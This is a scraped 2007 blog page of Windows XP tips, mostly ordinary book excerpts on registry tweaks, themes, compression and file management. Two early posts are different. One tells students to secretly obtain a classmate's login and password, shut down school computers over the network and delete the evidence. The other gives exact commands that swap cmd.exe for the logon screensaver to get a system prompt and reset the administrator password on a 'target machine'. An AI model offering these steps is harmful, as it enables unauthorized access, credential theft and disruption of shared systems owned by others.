Windows XP n Vista Tricks Windows XP n Vista Tricks This smart collection of insider tips and tricks covers the XP + Vista operating system from start to finish including all the new features that come with Service Pack 2 Youll also find timesaving hacks . Articles
Shutdown any pc on network of school or college
2007-09-17 03:52:00 ok i found that if you have someones login for school that is relatively stupid use that so that they dont get in that much trouble because they are ruled out as a major cause what you do i get their login and pass secretively so you can get away scott freeok onward go to the notepad type in shutdown-i and save as and save it as a bat file close it open it and type in the school number (ask like a tech guy at the school) then the room nunber then the computer number and when your done shutting down computer delete the file and empty the recycling binhave fun i do it all the time lol More About: College , Network , School , Coll , Shutdown
Password protect folders in windows xp
2007-09-17 03:46:00 Do you share a computer with other users and want some extra security on your folders? There are two ways to password protect a folder built into Windows XP (for other Windows flavors, there are some freeware/shareware programs out there).#1 If you have a log in password for your account, this can be used to protect folders from other users. Your hard drive must be formatted using NTFS (which it probably is unless you're dual booting with another operating system). Here's what to do...Right-click the folder that you want to make private and choose "Properties" (or Alt+Double-click). Go to the "Sharing" tab and check the "Make this folder private" box.Click Apply . If you do not have a password on your account, a box will pop up asking if you want to assign a password. This must be done if you want to make the folder private, so click Yes . You will need to use your password to log on to your computer from then on.Type in a password then confirm it. Click the "Create Password " butt... More About: Folders , Windows Xp , Prot
Display legal notice on windows xp startup
2007-09-17 03:43:00 Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.GO TO RUNThen REGEDITThe see for [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindo wsCurrentVersionpoliciessystem]then Edit these"legalnoticecaption"="enter your notice caption""legalnoticetext"="enter your legal notice text" More About: Windows , Legal , Display , Startup , Notice
Reset Windows XP Admin Pass without any software
2007-09-17 03:41:00 If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:cd *drops to rootcdwindowssystem32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphacklogon.scr *backsup logon.scrcopy cmd.exe temphackcmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dosNow what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes"net user password"If the Admin istrator Account is called Frank and you want the password blah enter this"net user Frank blah"and this changes the password on franks machine to blah and your in.Have funp.s: dont forget to copy the contents of temphack back into t... More About: Software , Windows , Pass , Windows Xp
Hibernate Your XP The Great Trick
2007-09-07 19:13:00 Hey your Windows XP has a very good but hidden feature !Trick Advantage :You can leave your work in between and shutdown the PC and resume it next time as it is !Even I switched off my PC while writing this article and when I reopened it I resumed my article from where i left !When you want to stop your work and shutdown(Keeping your programs open)Do The Following :1. Click start>Turn Off Computer2. As the Turn Off menu comes up press 'Shift' and 'Stand By' changes to 'Hibernate '3. Click Hibernate (Shift Kept Pressed)Your xp will save the work and shutdown !Now, when you switch it on again it will resume it again !No loading of windows will take place and you will be resumed to your work as if you had just switched your monitor off and now on again !Its Amazing ! More About: Great , Nate , The G
Hack 34. Kill Spyware and Web Bugs
2007-09-03 04:23:00 You don't have to be victimized by obnoxious applications that spy on you, hijack your browser, or worse. Fight back with these tips and tools. For most people, spyware has replaced viruses or worms as the most-feared and obnoxious danger on the Internet. A relatively few number of people become infected by viruses or worms, but it seems as if almost everyone you know has been hit by some kind of spyware. Spyware is a catch-all phrase that encompasses many different types of obnoxious programs. The least intrusive of the bunch report on your surfing activity to a web site, which tracks what you do and then delivers ads to your PC based on your interests. But increasingly, they are becoming more intrusive. Some of them spawn pop-up swarms of ads that appear so quickly they overwhelm your PC, slowing it down and making it unusable. Others hijack your browser home page so that no matter what you do, you're sent to a home page of the hijacker's choosing, which might be a... More About: Windows X , Hack , Bugs , The Web
Hack 33. Stop Pop Ups with SP2and Without It
2007-09-03 04:16:00 You don't have to be victimized by obnoxious pop-up ads and web sites on the Internet. Fight back with these tips and tools. Surfing the Web used to be such a simple, enjoyable experience. Go to the web site of your choice, enjoy the page, and head somewhere else. No longer. At times, it now seems like a sleazy carnival midway, complete with flashing lights and loud music, barkers pleading at you to venture into the sideshows, scamsters promising you big payoffs if you try three-card Monte, and no-goodniks lurking in the shadows. For that, we have pop ups to thank. Pop ups are ads that, as the name implies, pop up over your browser, usually in a smaller window, and frequently contain flashing messages and other kinds of obnoxious come-ons. The infamous X10 surveillance camera pioneered this insufferable form of advertising, and now it's everywhere. Pop ups are more than just insufferable annoyances, however. They can be dangerous as well. Click one of their come-ons, an... More About: Windows X , Hack , The Web , Stop
Hack 32. Give Internet Explorer a Face-Lift
2007-08-30 04:08:00 Don't like the way Internet Explorer looks? A better-looking browser is just a Registry edit away. Everything about Internet Explorer screams, "Dull, dull, dull!" From its generic-looking logo to the plain background for its toolbars, you just better hope the content you're visiting is enough to keep you awake. But you don't need to be stuck with its plain-Jane looks; these Registry hacks will let you change it however you'd like. 4.2.1. Change the Internet Explorer Logo Internet Explorer has both a static and an animated logo. The static logo displays when the browser is inactive, and the animated logo displays when the browser is locating a site, connecting, and actively downloading pages or images from the Web. Because you have the choice of displaying large or small icons on the Internet Explorer toolbar (to switch back and forth between the two, choose View Toolbars Customize Icon Options Large/Small icons), there are two sizes of both the static and animated ... More About: Windows X , Hack
Hack 31. Put a Command-Line Prompt on Your Desktop
2007-08-30 04:06:00 Command-line junkies always want the command prompt within easy reach. Here's how to put a command prompt directly on your desktop, so it's there whenever you need it. If you use the command line regularlyfor example, to launch Windows Explorer with shortcuts [Hack #22] you'd like the command line within easy reach. In fact, you'd like it right on your desktop. XP has no built-in way to do that for you. But there's a great free program called MCL (http://www.mlin.net/MCL.shtml) that runs as a small command line you can put anywhere on your desktop, as shown in Figure 3-22. Figure 3-22. Putting the command line right on your desktop with MCLUse it as you would use the normal command line, including any normal switches that you use to launch programs. But MCL does more than just let you enter commands. It includes a number of other goodies that the XP command prompt doesn't, including these: It keeps a history of your last 100 commands, so you can easily reenter or... More About: Desktop , Windows X , Line , Command
Hack 30. Get More Hard-Disk Space by Using NTFS Compression
2007-08-30 04:01:00 The quickest and easiest way to give your system more room is to use XP's built-in compression scheme for NTFS disks. Here's how to use itand how to convert your existing disk to NTFS if it doesn't already use it. If you need more hard-disk space, don't buy another hard disk right away. First, consider using NTFS (NT File System) compression, which can give significantly more hard-disk space by compressing all the files on your PC. NTFS's on-the-fly compression capabilities can shrink the size of individual files and folders, or entire drives. When you use it, the files or folders will be compressed when they're on your hard disk to save space, but they will be decompressed automatically when you use them, and then compressed again when stored on your hard disk. This means that, unlike with a compression program such as WinZip (http://www.winzip.com), you don't have to deal with decompressing as well as compressing files. You can also easily turn compression on a... More About: Space , Compression , Windows X , Disk , Hack
Hack 29. Take Your Work on the Go with Offline Files and the Briefcase
2007-08-28 19:06:00 Here are two ways road warriors can more easily take files with them when they leave home or the office, and then synchronize files back to their desktop PCs when they return. If you use a laptop on a corporate LAN, you might sometimes store files on the network and forget to bring them home or with you on the road. This frequently happens to people who, like me, are absent-minded on occasion (or more than on occasionafter all, I once left my car keys in the refrigerator). If you have XP Professional, you can use its Offline Files feature to automatically synchronize folders from the LAN to your notebook so that whenever you leave the office the latest version of your files will be available. To enable the use of offline files, choose My Computer Tools Folder Options Offline Files tab, and select the checkbox next to Enable Offline Files (see Figure 3-17). Figure 3-17. Enabling offline files You won't be able to use Offline Files if you have enabled Fast Use... More About: Windows X , Work , Hack
Hack 28. A Power User's Hidden Weapon: Improve the Context Menu
2007-08-26 03:32:00 The context menu is an often-underused tool. But with these four additions and edits to the menu, it'll turn into a powerhouse that you'll use every day. Windows Explorer's right-click context menu is one of the most basic of all XP tools; it provides many shortcuts for whenever you want to take action on a file or a folder. But the right-click menu is missing several basic options, such as choosing a specific folder to which you want to move or copy the file you've highlighted, instead of just cutting or copying the file. And when you install new applications, they have a nasty habit of adding their own options that you'll rarely use in the right-click menu. The end result: a right-click context menu cluttered with options and lacking several basic useful ones. But you can extend the power of the menu with these four hacks. 3.9.1. Add Copy To Folder and Move To Folder Context Menu Options I spend a lot of time copying and moving files between folders. More often th... More About: Power , Windows X , Hack , Improve
Hack 27. Customize Folder Icons and Balloon Text
2007-08-26 03:29:00 Make it easier to recognize specific folders and remember their contents by giving them their own pictures and identifying text. All folders are not created equal; some are more important than others. Folders I use for writing books and articles or for storing digital music, for example, are more vital to me than folders that hold tax records from eight years ago. So, I like to give myself visual clues when browsing my computer about what each folder holds and how important it is to me. I have so many folders on my hard disk that I can't always immediately recall the purposes of some of them, so for some I also create balloon text that describes the purpose of the folder when I hover my mouse cursor over the folder. To force a folder to display a specific icon and to have it display balloon text when you hover your mouse cursor over it, create a Desktop.ini file in that folder. That file contains instructions on which icon to use and balloon text to display. ... More About: Icons , Windows X , Hack , Balloon , Text
Hack 26. Force Windows Explorer into True Usefulness
2007-08-24 04:02:00 Here's a grab bag of ways to make better use of Explorer . There are plenty of small ways you can hack Explorer to make your computing life more productivefor example, by hacking the right-click shortcut menu. Try out these hacks and see. 3.7.1. Add Shortcut Menu Items to Specific File Types When you right-click a file in Explorer, you get a shortcut menu that includes a list of programs with which you can open the file. But the programs you want to open those files might not always be on the shortcut menu. It's easy to add new programs to that list. Let's say you want to add a shortcut menu item that allows .gif files to be opened with the freeware graphics viewer IrfanView [Hack #99] . From Windows Explorer, choose Tools Folder Options File Types. In the Registered File Types list, select the file type for which you want to add a new shortcut menu item. In our example, we'll choose a GIF file. After this hack, any time you click a file of this type, you'll get a ... More About: Windows X , Force
Hack 25. Find Files Faster by Mastering the Indexing Service's Query Langua
2007-08-24 03:59:00 Got a hard disk filled with many files, and no easy way to find what you want quickly? Use the Indexing Service and its query language to get what you wantfast. Packrats like me (and my editor) have a hard time finding exactly what they want on their hard disks. I have thousands of files there, some dating back close to 10 years, which I dutifully copy to a new system every time I upgrade my hardware. After all, who knows when I might need to find the list of books I planned to take out of the library in 1996? XP's Search Companion is too slow and the kinds of searches it can perform are fairly limited. It can't find files based on properties such as when the file was last printed or the word count of a file, or using a sophisticated search language. The Indexing Service, first used with Microsoft Internet Information Services (IIS), is a far more powerful tool. It can perform searches hundreds of times faster and includes an exceedingly sophisticated query language yo... More About: Windows X , Hack , Find , Files , Windows Explorer
Hack 24. Better File Rename
2007-08-24 03:58:00 Rename multiple files quickly and easily. I hate to admit it, but sometimes I'm impatient. Why should I waste my time doing the same thing over and over again? If you've ever had to rename more than one file at a time, you know how foolish it is to have to click, pause, click again, type the new name, hit Enter, and then repeat for each file, just to rename themespecially if there's some sort of pattern to what you're doing. Unix expatriates will find this procedure especially annoying after using powerful wildcards and other Unix pattern-matching syntax. Better File Rename (well worth the $19.95 shareware registration fee from http://www.publicspace.net/windows/Better FileRename/) does all you might imagine a file-renaming utility would do, and more. It's conveniently accessed via the context menu, a right-click away from any group of selected files. Figure 3-11 displays some of the options for renaming files based on pattern or placement in the filename (beginnin... More About: Windows X , Hack , Rename , Windows Explorer
Hack 23. Empower Windows Explorer with PowerDesk Pro
2007-08-24 03:50:00 Supplanted by this most powerful utility, Windows Explorer will no longer draw curses or contribute to increased Macintosh sales. I'm guessing that you have a Leatherman multitool. No hacker worth his weight in solder would leave home without it. In fact, I'll go further and guess that you have at least two. You probably have a large one that you keep in your glove box and a small one that you carry with you at all times, even to weddings (just in case). If I'm corrector if you're wondering where to buy such a useful toolyou will love PowerDesk Pro. PowerDesk Pro is the multitool of utilities. This beast is no mere Swiss Army Knife. There's no unnecessary toothpick, leather punch, or nail file here; it's a pair of vise grips with four screwdrivers, a strong blade, wire cutters, pliers, an Allen wrench, a corkscrew, and a bottle opener. It's the software those guys on Junkyard Wars would use if they put down their cutting torches and picked up a computer. OK, maybe... More About: Windows X , Hack , Windows Explorer
Hack 22. Control Windows Explorer with Command-Line Shortcuts
2007-08-23 03:40:00 Create customized Explorer views from the command line, and save your favorite views in desktop shortcuts. I rarely open Windows Explorer in its default view. Instead, I generally want to open it at a specific location, with a specific set of viewing featuresfor example, with the Folders bar in the left side on or off. I launch Windows Explorer from the command line, along with a set of switches for controlling how it opens. I also create desktop shortcuts out of these command-line launches so that my favorite views are always only a couple of clicks away. For example, when I want to open Windows Explorer to the C:Power Tools BookHack s subfolder only, with no folders above it, and using the Folders bar, I open the command prompt and issue this command:explorer /e,/root,c:Power Tools BookHacksWhen I do that, the view pictured in Figure 3-7 appears. Figure 3-7. Opening Windows Explorer to a specific folder with a specific viewCompare that view with my default view that... More About: Windows X , Shortcuts
Hack 21. Generate Folder and File Listings for Printing or Editing
2007-08-23 03:31:00 Longtime PC users and former Mac users alike are often shocked when they realize there's no easy, built-in option to print a list of files in a folder. This hack creates a context-menu right-click option to create such a list, which you can then edit, copy, paste, andmost usefullyprint. How many times have you been browsing through directories in Windows Explorer and wished you could generate a text file or printout listing the files and folders? It seems like such a simple request that it's amazing the option isn't available. You don't believe me? Right-click a folder and see for yourself if there is an option to list or print the structure. There isn't, but there is a workaround that doesn't require any third-party software. Here's how to create a context menu item [Hack #28] that, when clicked, generates a printable (and editable) text-file listing of the selected directory. To create the entry in the context menu it's necessary to first create a batch file. A... More About: Windows X , File , Listings , Editing
Hack 20. Instant Linux on windows
2007-08-23 03:27:00 Want to know what all the fuss is about when it comes to Linux ? Here's an easy way to try it out and use it, without installing software on your PC; it runs straight from a CD. The Linux operating system inspires intense devotion among its adherents. There's good reason for that: it's fast, it's free, it isn't subject to the same kinds of security woes that bedevil Windows computers, and it can be just plain fun. Of course, it can be just plain maddening as well. And the thought of installing an entirely new operating system alongside XP, or reformatting your hard disk...let's just say that unless you really know you want to use Linux, you don't want to go there. But there's a way to get instant Linux: use the free software called Knoppix. It runs straight from a CD, so you don't need to do any installation at all. Just boot your computer from your CD, and voilą: instant Linux. If you find that you want to know more about Knoppix, and perhaps even inst... More About: Windows X , Hack
Hack 19. Make Your Own Cursors and Icons
2007-08-23 03:20:00 Don't settle for the icons and cursors that Microsoft built for you. Roll your own with downloadable software. If you're not happy with the cursors and icons that XP ships with, don't despair. You can easily make your own with Microangelo, from http://www.microangelo.us. It's shareware and free to try, but if you continue using it, you're supposed to pay $54.95. You can create animated icons or regular iconsin both the standard 32-pixel and large 48-pixel sizesand a variety of cursors as well. Use paint-type tools and build your icons and cursors on a grid, as shown in Figure 2-28. A preview is available, so you can see the effects of what you do as you work. Figure 2-28. Creating an icon with MicroangeloWhat I find most useful about the program is that you can import existing cursors, icons, or other graphics, edit them, and then save the edited versions. I'm no great artist, so I find editing existing graphics much easier than creating ones from scratch. The fi... More About: Icons , Windows X , Hack , Make , Cons
Hack 18. Give XP a Makeover with WindowBlinds
2007-08-22 04:02:00 Control freaks, rejoice. With the powerful WindowBlinds utility, you no longer need to suffer with plain, common GUI elements such as the standard toolbars and scrollbars. You can modify and skin Windows to your heart's content. In the years immediately following World War II, Bill Levitt realized that GIs needed homes. He planned and built a community outside New York City that he called Levittown. There were two models of homes in Levittown and there was very little distinction between them. Levittown was the first "cookie cutter" community and remains the epitome of that term. The Windows X P user interface is a cookie cutter experience. Frequently, users don't bother to replace the Bliss (green field and blue sky) background, and it's even rarer for someone to change the Windows XP standard menu or colors. Fortunately, you don't have to settle for the same desktop as the guy in the next office. One way you can customize your Windows XP experience is to use themes [... More About: Hack , Give , Makeover
Hack 17. Create Your Own XP Themes and Find Thousands Online
2007-08-22 04:00:00 Customize the way XP looks and sounds, and dress it up with themes from the best sites on the Internet. Themes control just about every part of the way XP looks and sounds, including its background wallpaper, colors, icons, cursors, sounds, fonts, and screen saver, as well as the visual style of its windows and buttons. By default, your computer uses the basic Windows X P theme, which some people refer to as Luna because it was called that during XP's development. You can apply countless themes to XP, though it ships with only two: the basic Windows XP theme and the Windows Classic themea more stolid-looking theme, based on older versions of Windows, which uses rectangular windows and solid colors. To change between themes, right-click the desktop and choose Properties Themes. Choose the theme you want to use from the drop-down list, as shown in Figure 2-22. Click OK, and the theme will be applied. Figure 2-22. Applying a new themeNote that if you choose "More themes ... More About: Hack , Find , Online
Hack 16. Make Your PC Work Like a Mac
2007-08-22 03:27:00 Feeling jealous about some of the Mac's nifty features? Envy it no more. Use these tools to make your PC look and work more like a Mac. Have you ever wished you could turn your PC into a Mac? You're not alone. A lot of Windows users have eyed its slick user interface and handy features with envy. But you no longer need to envy the Mac because in this hack, I'll show you how to make your Windows PC look and work more like a Mac. Let's start with changing the visual appearance of XP to get a Mac-like experience. It involves three steps. First we'll change the boot screen. Then we'll replace the default logon screen. Finally we'll make Windows and its icons more Mac-like. 2.10.1. Get a Mac-Like Boot Screen When you start your machine, you'll see a vendor-specific welcome screen, which provides access to BIOS settings. Depending on your setup, after that you might see a menu that lets you boot from one of multiple operating systems [Hack #1]. But if you run only one i... More About: Windows X , Work , Make
Hack 15. Remove "Uninstallable" XP Utilities
2007-08-21 16:23:00 Think you can't uninstall Windows Messenger, WordPad, and similar components? Think again. This hack shows you how. Windows has always had a problem with uninstalling software, and it's particularly poor at uninstalling its own utilities, such as WordPad or Windows Messenger. Uninstall ing these utilities can free up hard-disk space if your hard disk is starting to fill up. And if you never use Windows Messenger, you most likely will want to uninstall it because the program frequently launches itself automatically even after you've shut it down repeatedly, kind of like Dracula returning from the dead. It won't bother you any longer if you uninstall it. To remove XP utilities and components, you normally choose Control Panel Add or Remove Programs Add/Remove Windows Components to get to the Windows Components Wizard, shown in Figure 2-12. To uninstall a utility or component, just follow the wizard's instructions. Figure 2-12. The Windows Components WizardAh, but ... More About: Utilities , Windows X , Hack , Alla
Hack 14. Hack Your Way Through the Interface
2007-08-21 16:20:00 Use Registry hacks to make a grab bag of great interface changes. Hidden in the mazes of the Registry are countless ways to hack XP's interface. Following are some of my favorites. 2.8.1. Hide All Icons in the Notification Area The system tray, also called the notification area, is the small area on the far-right side of the taskbar, in which utilities and programs that run in the background, such as antivirus software, show their icons. I don't find it a particularly intelligent use of screen real estate, so I prefer not to see the icons there. To hide them, run the Registry Editor [Hack #83] and go to HKEY_CURRENT_USER/Software/Microsoft/Wind ows/CurrentVersion/Policies/Explorer. Among other things, this key controls the display of objects throughout XP. Create a new DWORD called NoTrayItemsDisplay. Assign it a value of 1. (A value of 0 will keep the icons displayed.) Exit the Registry and reboot. While you're at the HKEY_CURRENT_USER/Software/Microsoft/Wind ows/Cur... More About: Windows X , Interface
Hack 13. Remove "Nonremovable" Desktop Icons
2007-08-21 16:19:00 To create your own customized XP interface, you need to be able to remove certain desktop icons. A Registry hack lets you remove any you want, including those apparently protected by XP. Creating the perfect, customized XP interface doesn't mean just changing icons; it also means removing them. For example, many power users look down their noses at America Online, and yet, on many systems, that icon can't be removed easily. America Online isn't the only icon protected in this way; many others are as well. Which desktop icons are protected on your system will depend on your exact version of XP (for example, SP-1) and the manufacturer of your PC. The Recycle Bin is protected on all versions, but the America Online icon is protected on some systems, and not on others. To customize XP to your liking, you'll want to be able to delete these protected icons. To do so, you'll need a Registry hack. Run the Registry Editor [Hack #83] and go to HKEY_LOCAL_MACHINESOFTWAREMi... More About: Desktop , Icons , Windows X , Cons
Hack 12. Rename and Change "Unchangeable" Desktop Icons and System Objects
2007-08-21 16:17:00 To create the perfect XP interface, you want to be able to give every desktop icon and system object the name and icon of your choice. Here's how to do iteven to objects that appear to be unchangeable. Interface hackers (myself included) are a details-oriented bunch. We want to be able to control every part of the interface so that it reflects our personality. That means being able to choose our own icons for desktop items and system objects, give new names to system objects, and create our own balloon tipsfor example, adding a balloon tip to the Recycle Bin saying "Take out the trash!" But it's not as simple as you might think. Microsoft has a way of protecting its own. For example, it won't let you change the text and balloon tips associated with a variety of system objects, such as the Recycle Bin, Outlook, Internet Explorer, My Computer, and My Network Places. You can normally change both the name and the balloon text (text that appears when you hover your mouse o... More About: System , Desktop , Icons , Windows X , Change
Hack 11. Clean Up the Most Frequently Used Programs List
2007-08-20 17:17:00 Make this infrequently used tool useful. Ban programs from the Most Frequently Used Programs List , change the number of programs on the list, or do away with it altogether to make more room for the Pinned Programs List. Windows keeps track of programs you use frequently and puts them on the Most Frequently Used Programs List, which appears on the new Windows X P-style Start menu (not the Classic-style Start menu) between the Pinned Items List at the top and the All Programs link at the bottom. The Most Frequently Used Programs List is a quick way to access programs you use often. But the rules for when programs appear on that list and disappear from the list are murky at best, and there appears to be no logic to what programs appear there. There is some hidden logic, however. XP bans a variety of programs from the list. If any of the following words or phrases is included in the program's shortcut name, the program will be excluded from the list: Documentation, Help, In... More About: Hack , Clean
Hack 10. Hack the Start Menu and Taskbar
More articles from this author:2007-08-20 16:55:00 XP Professional's Group Policy Editor gives you instant access to changing more than three dozen interface settings. Here's how to use it to create your own personalized Start menu and taskbar. XP Professional's Group Policy Editor does more than just customize the Control Panel [Hack #9] ; it gives you control over many aspects of XP's interface as wellin particular, the Start menu and taskbar. In fact, it gives you quick access to more than three dozen separate settings for them. Run the Group Policy Editor by typing gpedit.msc at the Run prompt or command line. Go to User ConfigurationAdministrative TemplatesStart Menu and Taskbar. As you can see in Figure 2-5, the right pane displays all the settings you can change. If you click the Extended tab at the bottom of the screen, you'll be shown a description of the setting that you've highlighted, along with an explanation of each option. Settings you can customize include showing the My Pictures icon, the Run me... More About: Windows X 1, 2, 3, 4, 5 |
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